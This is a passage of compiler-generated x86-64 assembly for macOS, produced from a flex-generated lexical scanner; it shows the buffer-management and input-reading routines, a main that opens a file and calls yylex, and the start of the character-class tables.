.long L0_0_set_93
.long L0_0_set_94
.long L0_0_set_95
.long L0_0_set_96
.long L0_0_set_97
.long L0_0_set_98
.long L0_0_set_99
.long L0_0_set_100
.long L0_0_set_102
.long L0_0_set_101
.end_data_region
## -- End function
.globl _yy_create_buffer ## -- Begin function yy_create_buffer
.p2align 4, 0x90
_yy_create_buffer: ## @yy_create_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $56, %edi
callq _yy_flex_alloc
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB1_2
## %bb.1:
leaq L_.str.64(%rip), %rdi
callq _yy_fatal_error
LBB1_2:
movl -12(%rbp), %ecx
movq -24(%rbp), %rax
movl %ecx, 24(%rax)
movq -24(%rbp), %rax
movl 24(%rax), %edi
addl $2, %edi
callq _yy_flex_alloc
movq %rax, %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB1_4
## %bb.3:
leaq L_.str.64(%rip), %rdi
callq _yy_fatal_error
LBB1_4:
movq -24(%rbp), %rax
movl $1, 32(%rax)
movq -24(%rbp), %rdi
movq -8(%rbp), %rsi
callq _yy_init_buffer
movq -24(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_load_buffer_state ## -- Begin function yy_load_buffer_state
.p2align 4, 0x90
_yy_load_buffer_state: ## @yy_load_buffer_state
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _yy_current_buffer(%rip), %rax
movl 28(%rax), %eax
movl %eax, _yy_n_chars(%rip)
movq _yy_current_buffer(%rip), %rax
movq 16(%rax), %rcx
movq %rcx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _yy_current_buffer(%rip), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movq _yy_c_buf_p(%rip), %rax
movb (%rax), %al
movb %al, _yy_hold_char(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_get_previous_state
_yy_get_previous_state: ## @yy_get_previous_state
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl _yy_start(%rip), %eax
movl %eax, -4(%rbp)
leaq _yy_state_buf(%rip), %rax
movq %rax, _yy_state_ptr(%rip)
movl -4(%rbp), %ecx
movq _yy_state_ptr(%rip), %rax
movq %rax, %rdx
addq $4, %rdx
movq %rdx, _yy_state_ptr(%rip)
movl %ecx, (%rax)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -16(%rbp)
LBB3_1: ## =>This Loop Header: Depth=1
## Child Loop BB3_6 Depth 2
movq -16(%rbp), %rax
cmpq _yy_c_buf_p(%rip), %rax
jae LBB3_12
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB3_4
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movzbl (%rax), %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_ec(%rip), %rax
movl (%rax,%rcx,4), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
jmp LBB3_5
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movl $1, %eax
movl %eax, -24(%rbp) ## 4-byte Spill
jmp LBB3_5
LBB3_5: ## in Loop: Header=BB3_1 Depth=1
movl -24(%rbp), %eax ## 4-byte Reload
## kill: def $al killed $al killed $eax
movb %al, -17(%rbp)
LBB3_6: ## Parent Loop BB3_1 Depth=1
## => This Inner Loop Header: Depth=2
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -17(%rbp), %ecx
addl %ecx, %eax
movslq %eax, %rcx
leaq _yy_chk(%rip), %rax
movswl (%rax,%rcx,2), %eax
cmpl -4(%rbp), %eax
je LBB3_10
## %bb.7: ## in Loop: Header=BB3_6 Depth=2
movslq -4(%rbp), %rcx
leaq _yy_def(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
cmpl $187, -4(%rbp)
jl LBB3_9
## %bb.8: ## in Loop: Header=BB3_6 Depth=2
movzbl -17(%rbp), %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_meta(%rip), %rax
movl (%rax,%rcx,4), %eax
## kill: def $al killed $al killed $eax
movb %al, -17(%rbp)
LBB3_9: ## in Loop: Header=BB3_6 Depth=2
jmp LBB3_6
LBB3_10: ## in Loop: Header=BB3_1 Depth=1
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -17(%rbp), %ecx
addl %ecx, %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_nxt(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
movl -4(%rbp), %ecx
movq _yy_state_ptr(%rip), %rax
movq %rax, %rdx
addq $4, %rdx
movq %rdx, _yy_state_ptr(%rip)
movl %ecx, (%rax)
## %bb.11: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB3_1
LBB3_12:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_try_NUL_trans
_yy_try_NUL_trans: ## @yy_try_NUL_trans
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movb $1, -9(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -9(%rbp), %ecx
addl %ecx, %eax
movslq %eax, %rcx
leaq _yy_chk(%rip), %rax
movswl (%rax,%rcx,2), %eax
cmpl -4(%rbp), %eax
je LBB4_5
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
leaq _yy_def(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
cmpl $187, -4(%rbp)
jl LBB4_4
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movzbl -9(%rbp), %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_meta(%rip), %rax
movl (%rax,%rcx,4), %eax
## kill: def $al killed $al killed $eax
movb %al, -9(%rbp)
LBB4_4: ## in Loop: Header=BB4_1 Depth=1
jmp LBB4_1
LBB4_5:
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -9(%rbp), %ecx
addl %ecx, %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_nxt(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
cmpl $186, -4(%rbp)
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -8(%rbp)
cmpl $0, -8(%rbp)
jne LBB4_7
## %bb.6:
movl -4(%rbp), %ecx
movq _yy_state_ptr(%rip), %rax
movq %rax, %rdx
addq $4, %rdx
movq %rdx, _yy_state_ptr(%rip)
movl %ecx, (%rax)
LBB4_7:
cmpl $0, -8(%rbp)
je LBB4_9
## %bb.8:
xorl %eax, %eax
movl %eax, -16(%rbp) ## 4-byte Spill
jmp LBB4_10
LBB4_9:
movl -4(%rbp), %eax
movl %eax, -16(%rbp) ## 4-byte Spill
LBB4_10:
movl -16(%rbp), %eax ## 4-byte Reload
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_get_next_buffer
_yy_get_next_buffer: ## @yy_get_next_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
movq _yy_c_buf_p(%rip), %rax
movq _yy_current_buffer(%rip), %rcx
movq 8(%rcx), %rcx
movl _yy_n_chars(%rip), %edx
addl $1, %edx
movslq %edx, %rdx
addq %rdx, %rcx
cmpq %rcx, %rax
jbe LBB5_2
## %bb.1:
leaq L_.str.70(%rip), %rdi
callq _yy_fatal_error
LBB5_2:
movq _yy_current_buffer(%rip), %rax
cmpl $0, 44(%rax)
jne LBB5_6
## %bb.3:
movq _yy_c_buf_p(%rip), %rax
movq _yytext@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
subq %rcx, %rax
subq $0, %rax
cmpq $1, %rax
jne LBB5_5
## %bb.4:
movl $1, -4(%rbp)
jmp LBB5_43
LBB5_5:
movl $2, -4(%rbp)
jmp LBB5_43
LBB5_6:
movq _yy_c_buf_p(%rip), %rax
movq _yytext@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
subq %rcx, %rax
## kill: def $eax killed $eax killed $rax
subl $1, %eax
movl %eax, -28(%rbp)
movl $0, -32(%rbp)
LBB5_7: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB5_10
## %bb.8: ## in Loop: Header=BB5_7 Depth=1
movq -24(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -24(%rbp)
movb (%rax), %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -16(%rbp)
movb %cl, (%rax)
## %bb.9: ## in Loop: Header=BB5_7 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB5_7
LBB5_10:
movq _yy_current_buffer(%rip), %rax
cmpl $2, 48(%rax)
jne LBB5_12
## %bb.11:
movl $0, _yy_n_chars(%rip)
movq _yy_current_buffer(%rip), %rax
movl $0, 28(%rax)
jmp LBB5_36
LBB5_12:
movq _yy_current_buffer(%rip), %rax
movl 24(%rax), %eax
subl -28(%rbp), %eax
subl $1, %eax
movl %eax, -40(%rbp)
LBB5_13: ## =>This Inner Loop Header: Depth=1
cmpl $0, -40(%rbp)
jg LBB5_15
## %bb.14: ## in Loop: Header=BB5_13 Depth=1
leaq L_.str.71(%rip), %rdi
callq _yy_fatal_error
jmp LBB5_13
LBB5_15:
cmpl $8192, -40(%rbp) ## imm = 0x2000
jle LBB5_17
## %bb.16:
movl $8192, -40(%rbp) ## imm = 0x2000
LBB5_17:
movq _yy_current_buffer(%rip), %rax
cmpl $0, 36(%rax)
je LBB5_31
## %bb.18:
movl $42, -44(%rbp)
movl $0, -48(%rbp)
LBB5_19: ## =>This Inner Loop Header: Depth=1
movl -48(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -40(%rbp), %ecx
movb %al, -49(%rbp) ## 1-byte Spill
jge LBB5_22
## %bb.20: ## in Loop: Header=BB5_19 Depth=1
movq _yyin(%rip), %rdi
callq _getc
movl %eax, %ecx
movl %ecx, -44(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $-1, %ecx
movb %al, -49(%rbp) ## 1-byte Spill
je LBB5_22
## %bb.21: ## in Loop: Header=BB5_19 Depth=1
cmpl $10, -44(%rbp)
setne %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB5_22: ## in Loop: Header=BB5_19 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB5_23
jmp LBB5_25
LBB5_23: ## in Loop: Header=BB5_19 Depth=1
movl -44(%rbp), %eax
movb %al, %dl
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movslq -28(%rbp), %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movb %dl, (%rax,%rcx)
## %bb.24: ## in Loop: Header=BB5_19 Depth=1
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB5_19
LBB5_25:
cmpl $10, -44(%rbp)
jne LBB5_27
## %bb.26:
movl -44(%rbp), %eax
movb %al, %dl
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movslq -28(%rbp), %rcx
addq %rcx, %rax
movl -48(%rbp), %ecx
movl %ecx, %esi
addl $1, %esi
movl %esi, -48(%rbp)
movslq %ecx, %rcx
movb %dl, (%rax,%rcx)
LBB5_27:
cmpl $-1, -44(%rbp)
jne LBB5_30
## %bb.28:
movq _yyin(%rip), %rdi
callq _ferror
cmpl $0, %eax
je LBB5_30
## %bb.29:
leaq L_.str.72(%rip), %rdi
callq _yy_fatal_error
LBB5_30:
movl -48(%rbp), %eax
movl %eax, _yy_n_chars(%rip)
jmp LBB5_35
LBB5_31:
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rdi
movslq -28(%rbp), %rax
addq %rax, %rdi
movslq -40(%rbp), %rdx
movq _yyin(%rip), %rcx
movl $1, %esi
callq _fread
## kill: def $eax killed $eax killed $rax
movl %eax, _yy_n_chars(%rip)
cmpl $0, %eax
jne LBB5_34
## %bb.32:
movq _yyin(%rip), %rdi
callq _ferror
cmpl $0, %eax
je LBB5_34
## %bb.33:
leaq L_.str.72(%rip), %rdi
callq _yy_fatal_error
LBB5_34:
jmp LBB5_35
LBB5_35:
movl _yy_n_chars(%rip), %ecx
movq _yy_current_buffer(%rip), %rax
movl %ecx, 28(%rax)
LBB5_36:
cmpl $0, _yy_n_chars(%rip)
jne LBB5_41
## %bb.37:
cmpl $0, -28(%rbp)
jne LBB5_39
## %bb.38:
movl $1, -36(%rbp)
movq _yyin(%rip), %rdi
callq _yyrestart
jmp LBB5_40
LBB5_39:
movl $2, -36(%rbp)
movq _yy_current_buffer(%rip), %rax
movl $2, 48(%rax)
LBB5_40:
jmp LBB5_42
LBB5_41:
movl $0, -36(%rbp)
LBB5_42:
movl -28(%rbp), %eax
addl _yy_n_chars(%rip), %eax
movl %eax, _yy_n_chars(%rip)
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movslq _yy_n_chars(%rip), %rcx
movb $0, (%rax,%rcx)
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movl _yy_n_chars(%rip), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $0, (%rax,%rcx)
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rcx
movq _yytext@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movl -36(%rbp), %eax
movl %eax, -4(%rbp)
LBB5_43:
movl -4(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyrestart ## -- Begin function yyrestart
.p2align 4, 0x90
_yyrestart: ## @yyrestart
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, _yy_current_buffer(%rip)
jne LBB6_2
## %bb.1:
movq _yyin(%rip), %rdi
movl $16384, %esi ## imm = 0x4000
callq _yy_create_buffer
movq %rax, _yy_current_buffer(%rip)
LBB6_2:
movq _yy_current_buffer(%rip), %rdi
movq -8(%rbp), %rsi
callq _yy_init_buffer
callq _yy_load_buffer_state
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_fatal_error
_yy_fatal_error: ## @yy_fatal_error
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -8(%rbp), %rdx
leaq L_.str.73(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yy_init_buffer ## -- Begin function yy_init_buffer
.p2align 4, 0x90
_yy_init_buffer: ## @yy_init_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rdi
callq _yy_flush_buffer
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
movl $1, 44(%rax)
cmpq $0, -16(%rbp)
je LBB8_2
## %bb.1:
movq -16(%rbp), %rdi
callq _fileno
movl %eax, %edi
callq _isatty
cmpl $0, %eax
setg %al
andb $1, %al
movzbl %al, %eax
movl %eax, -20(%rbp) ## 4-byte Spill
jmp LBB8_3
LBB8_2:
xorl %eax, %eax
movl %eax, -20(%rbp) ## 4-byte Spill
jmp LBB8_3
LBB8_3:
movl -20(%rbp), %ecx ## 4-byte Reload
movq -8(%rbp), %rax
movl %ecx, 36(%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_switch_to_buffer ## -- Begin function yy_switch_to_buffer
.p2align 4, 0x90
_yy_switch_to_buffer: ## @yy_switch_to_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq _yy_current_buffer(%rip), %rax
cmpq -8(%rbp), %rax
jne LBB9_2
## %bb.1:
jmp LBB9_5
LBB9_2:
cmpq $0, _yy_current_buffer(%rip)
je LBB9_4
## %bb.3:
movb _yy_hold_char(%rip), %cl
movq _yy_c_buf_p(%rip), %rax
movb %cl, (%rax)
movq _yy_c_buf_p(%rip), %rcx
movq _yy_current_buffer(%rip), %rax
movq %rcx, 16(%rax)
movl _yy_n_chars(%rip), %ecx
movq _yy_current_buffer(%rip), %rax
movl %ecx, 28(%rax)
LBB9_4:
movq -8(%rbp), %rax
movq %rax, _yy_current_buffer(%rip)
callq _yy_load_buffer_state
movl $1, _yy_did_buffer_switch_on_eof(%rip)
LBB9_5:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_flex_alloc
_yy_flex_alloc: ## @yy_flex_alloc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, %edi
callq _malloc
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_delete_buffer ## -- Begin function yy_delete_buffer
.p2align 4, 0x90
_yy_delete_buffer: ## @yy_delete_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
jne LBB11_2
## %bb.1:
jmp LBB11_7
LBB11_2:
movq -8(%rbp), %rax
cmpq _yy_current_buffer(%rip), %rax
jne LBB11_4
## %bb.3:
movq $0, _yy_current_buffer(%rip)
LBB11_4:
movq -8(%rbp), %rax
cmpl $0, 32(%rax)
je LBB11_6
## %bb.5:
movq -8(%rbp), %rax
movq 8(%rax), %rdi
callq _yy_flex_free
LBB11_6:
movq -8(%rbp), %rdi
callq _yy_flex_free
LBB11_7:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_flex_free
_yy_flex_free: ## @yy_flex_free
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_flush_buffer ## -- Begin function yy_flush_buffer
.p2align 4, 0x90
_yy_flush_buffer: ## @yy_flush_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
jne LBB13_2
## %bb.1:
jmp LBB13_4
LBB13_2:
movq -8(%rbp), %rax
movl $0, 28(%rax)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movb $0, (%rax)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movb $0, 1(%rax)
movq -8(%rbp), %rax
movq 8(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movl $1, 40(%rax)
movq -8(%rbp), %rax
movl $0, 48(%rax)
movq -8(%rbp), %rax
cmpq _yy_current_buffer(%rip), %rax
jne LBB13_4
## %bb.3:
callq _yy_load_buffer_state
LBB13_4:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_scan_buffer ## -- Begin function yy_scan_buffer
.p2align 4, 0x90
_yy_scan_buffer: ## @yy_scan_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
cmpl $2, -20(%rbp)
jb LBB14_3
## %bb.1:
movq -16(%rbp), %rax
movl -20(%rbp), %ecx
subl $2, %ecx
movl %ecx, %ecx
## kill: def $rcx killed $ecx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
jne LBB14_3
## %bb.2:
movq -16(%rbp), %rax
movl -20(%rbp), %ecx
subl $1, %ecx
movl %ecx, %ecx
## kill: def $rcx killed $ecx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB14_4
LBB14_3:
movq $0, -8(%rbp)
jmp LBB14_7
LBB14_4:
movl $56, %edi
callq _yy_flex_alloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB14_6
## %bb.5:
leaq L_.str.65(%rip), %rdi
callq _yy_fatal_error
LBB14_6:
movl -20(%rbp), %ecx
subl $2, %ecx
movq -32(%rbp), %rax
movl %ecx, 24(%rax)
movq -16(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
movq -32(%rbp), %rax
movq %rcx, 16(%rax)
movq -32(%rbp), %rax
movl $0, 32(%rax)
movq -32(%rbp), %rax
movq $0, (%rax)
movq -32(%rbp), %rax
movl 24(%rax), %ecx
movq -32(%rbp), %rax
movl %ecx, 28(%rax)
movq -32(%rbp), %rax
movl $0, 36(%rax)
movq -32(%rbp), %rax
movl $1, 40(%rax)
movq -32(%rbp), %rax
movl $0, 44(%rax)
movq -32(%rbp), %rax
movl $0, 48(%rax)
movq -32(%rbp), %rdi
callq _yy_switch_to_buffer
movq -32(%rbp), %rax
movq %rax, -8(%rbp)
LBB14_7:
movq -8(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_scan_string ## -- Begin function yy_scan_string
.p2align 4, 0x90
_yy_scan_string: ## @yy_scan_string
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
LBB15_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
cmpb $0, (%rax,%rcx)
je LBB15_4
## %bb.2: ## in Loop: Header=BB15_1 Depth=1
jmp LBB15_3
LBB15_3: ## in Loop: Header=BB15_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB15_1
LBB15_4:
movq -8(%rbp), %rdi
movl -12(%rbp), %esi
callq _yy_scan_bytes
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_scan_bytes ## -- Begin function yy_scan_bytes
.p2align 4, 0x90
_yy_scan_bytes: ## @yy_scan_bytes
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl -12(%rbp), %eax
addl $2, %eax
movl %eax, -36(%rbp)
movl -36(%rbp), %edi
callq _yy_flex_alloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB16_2
## %bb.1:
leaq L_.str.66(%rip), %rdi
callq _yy_fatal_error
LBB16_2:
movl $0, -40(%rbp)
LBB16_3: ## =>This Inner Loop Header: Depth=1
movl -40(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB16_6
## %bb.4: ## in Loop: Header=BB16_3 Depth=1
movq -8(%rbp), %rax
movslq -40(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -32(%rbp), %rax
movslq -40(%rbp), %rcx
movb %dl, (%rax,%rcx)
## %bb.5: ## in Loop: Header=BB16_3 Depth=1
movl -40(%rbp), %eax
addl $1, %eax
movl %eax, -40(%rbp)
jmp LBB16_3
LBB16_6:
movq -32(%rbp), %rax
movl -12(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $0, (%rax,%rcx)
movq -32(%rbp), %rax
movslq -12(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -32(%rbp), %rdi
movl -36(%rbp), %esi
callq _yy_scan_buffer
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB16_8
## %bb.7:
leaq L_.str.67(%rip), %rdi
callq _yy_fatal_error
LBB16_8:
movq -24(%rbp), %rax
movl $1, 32(%rax)
movq -24(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $1, -8(%rbp)
jle LBB17_2
## %bb.1:
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB17_3
LBB17_2:
leaq L_.str.68(%rip), %rax
movq %rax, -24(%rbp)
LBB17_3:
movq -24(%rbp), %rdi
leaq L_.str.69(%rip), %rsi
callq _fopen
movq %rax, _yyin(%rip)
callq _yylex
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyin ## @yyin
.zerofill __DATA,__common,_yyin,8,3
.globl _yyout ## @yyout
.zerofill __DATA,__common,_yyout,8,3
.section __DATA,__data
.globl _yylineno ## @yylineno
.p2align 2
_yylineno:
.long 1 ## 0x1
.p2align 2 ## @yy_init
_yy_init:
.long 1 ## 0x1
.zerofill __DATA,__bss,_yy_start,4,2 ## @yy_start
.zerofill __DATA,__bss,_yy_current_buffer,8,3 ## @yy_current_buffer
.zerofill __DATA,__bss,_yy_c_buf_p,8,3 ## @yy_c_buf_p
.zerofill __DATA,__bss,_yy_hold_char,1,0 ## @yy_hold_char
.zerofill __DATA,__bss,_yy_state_buf,65544,4 ## @yy_state_buf
.zerofill __DATA,__bss,_yy_state_ptr,8,3 ## @yy_state_ptr
.section __TEXT,__const
.p2align 4 ## @yy_ec
_yy_ec:
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 2 ## 0x2
.long 3 ## 0x3
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 4 ## 0x4
.long 5 ## 0x5
.long 6 ## 0x6
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 7 ## 0x7
.long 1 ## 0x1
.long 8 ## 0x8
.long 9 ## 0x9
.long 10 ## 0xa
.long 11 ## 0xb
.long 12 ## 0xc
.long 13 ## 0xd
.long 14 ## 0xe
.long 15 ## 0xf
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 16 ## 0x10
.long 17 ## 0x11
.long 18 ## 0x12
.long 19 ## 0x13
.long 20 ## 0x14
.long 21 ## 0x15
.long 1 ## 0x1
